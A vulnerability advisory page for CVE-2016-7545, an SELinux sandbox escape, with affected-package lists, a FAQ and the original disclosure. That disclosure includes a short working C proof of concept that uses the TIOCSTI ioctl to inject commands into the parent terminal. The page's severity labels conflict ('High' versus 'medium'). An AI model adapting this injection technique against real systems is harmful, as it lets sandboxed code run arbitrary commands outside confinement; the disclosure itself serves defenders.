CVE-2016-7545: High severity SELinux Project SELinux vulnerability

Published Sep 22, 2016
·
Updated

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.

Other sources

SELinux policycoreutils allows local users to execute arbitrary commands outside of the sandbox via a crafted TIOCSTI ioctl call.

Debian

Affected Software

12 affected componentsFixes available
debian/policycoreutils
3.1-33.4-13.5-2
SELinux Project SELinux
Fedoraproject Fedora=25
redhat Enterprise Linux Desktop=6.0
redhat Enterprise Linux Desktop=7.0
redhat Enterprise Linux Hpc Node=6.0
redhat Enterprise Linux Hpc Node=7.0
redhat Enterprise Linux Server=6.0
redhat Enterprise Linux Server=7.0
redhat Enterprise Linux Server Tus=7.3
redhat Enterprise Linux Workstation=6.0
redhat Enterprise Linux Workstation=7.0

Event History

Sep 22, 2016
Data Sourced
via Red Hat·07:04 PM
DescriptionSeverityAffected Software
Jan 19, 2017
CVE Published
via MITRE·08:00 PM
Data Sourced
via MITRE·08:00 PM
Description
Data Sourced
via NVD·08:59 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2016-7545?

CVE-2016-7545 is classified as a medium severity vulnerability due to its potential to allow sandbox escape.

2

How do I fix CVE-2016-7545?

To mitigate CVE-2016-7545, update the policycoreutils package to the versions 3.1-3, 3.4-1, or 3.5-2.

3

Which systems are affected by CVE-2016-7545?

CVE-2016-7545 affects various distributions including Red Hat Enterprise Linux 6.0, 7.0, and SELinux.

4

What type of attack does CVE-2016-7545 enable?

CVE-2016-7545 enables an attacker to escape from a sandbox environment to the parent session.

5

Is there a known exploit for CVE-2016-7545?

Yes, CVE-2016-7545 can be exploited using the TIOCSTI ioctl command to manipulate terminal input.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203